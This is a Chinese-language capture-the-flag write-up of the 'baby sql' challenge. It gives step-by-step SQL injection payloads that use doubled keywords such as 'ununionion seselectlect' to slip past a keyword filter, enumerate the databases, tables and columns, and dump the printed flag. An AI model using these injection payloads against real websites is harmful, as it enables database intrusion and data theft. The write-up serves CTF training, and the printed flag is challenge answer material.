baby sql(注意双写绕过)
判断注入类型
既然是sql注入题,那就先判断注入的数据类型
payload: ?username=admin&password=1
payload: ?username=admin&password=2-1
//判断页面是否发生变化,如有变化则为字符型注入,反之则为整型注入
无变化,所以为整型注入
判断回显位
payload:?username=admin&password=1' order by 3%23
说明“or”被过滤了,无法显示,所以咱们可以双写绕过
双写or后还是报错,还是无法判断此条语句,此时我怀疑by也可能被过滤了,于是我尝试双写by注入
很好没有报错了,经过证明,by确实也被过滤了
把3改成4的又报错了,所以判断回显位是3
爆库
payload: ?username=admin&password=1' aunion bselect database() %23
判断union和select有没有被过滤
union和select都被过滤了 ,改造语句再查所有的库
payload:?username=admin&password=1' ununionion seselectlect 1,2,(seselectlect group_concat(schema_name) from information_schema.schemata)%23
发现from和information也被过滤了
再次重构语句
payload:?username=admin&password=1' ununionion seselectlect 1,(seselectlect group_concat(schema_name) frfromom infoorrmation_schema.schemata),3 %23
终于拿到库 information_schema,mysql,performance_schema,test,ctf,geek
在库名中发现有一个ctf库,哈哈😀,这不就找出来了嘛!
爆表
payload:?username=admin&password=1' ununionion seselectlect 1,2,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = 'ctf')%23
拿到表名:Flag
爆字段
payload:?username=admin&password=1' ununionion seselectlect 1,2,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = 'ctf' anandd table_name='Flag')%23
得到字段:Flag
拿数据
payload:?username=admin&password=1' ununionion seselectlect 1,2,(seselectlect Flag frfromom ctf.Flag)%23
拿到flag;flag{fff92db2-240c-4c65-83c3-f25bec6a0398}
总结:
主要就是找出被过滤的字符,在被过滤的情况下如何构造语句进行绕过,后面爆库啥拿数据啥的就挺简单了。